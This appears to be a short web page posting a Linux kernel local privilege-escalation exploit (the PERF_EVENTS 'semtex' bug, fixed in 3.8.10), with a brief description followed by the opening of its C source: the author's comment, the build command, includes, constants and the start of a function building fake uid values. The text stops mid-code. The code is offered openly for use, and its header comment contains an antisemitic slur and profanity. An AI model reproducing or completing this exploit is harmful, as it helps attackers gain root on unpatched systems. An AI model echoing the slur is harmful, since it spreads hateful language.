Hacks

 Linux PERF_EVENTS Local Root Linux local root exploit that requires that PERF_EVENTS be compiled into the kernel. This has been fixed in 3.8.10. This bug apparently got backported from 2.6.37 into CentOS5 2.6.32 kernels. Code: /** linux 2.6.37-3.x.x x86_64, ~100 LOC* gcc-4.6 -O2 semtex.c && ./a.out* 2010 sd@fucksheep.org, salut!** update may 2013:* seems like centos 2.6.32 backported the perf bug, lol.* jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.*/ #define _GNU_SOURCE 1#include <stdint.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/mman.h>#include <syscall.h>#include <stdint.h>#include <assert.h> #define BASE  0x380000000#define SIZE  0x010000000#define KSIZE  0x2000000#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337)))) void fuck() {  int i,j,k;  uint64_t uids[4] = { AB(2), AB(3), AB(...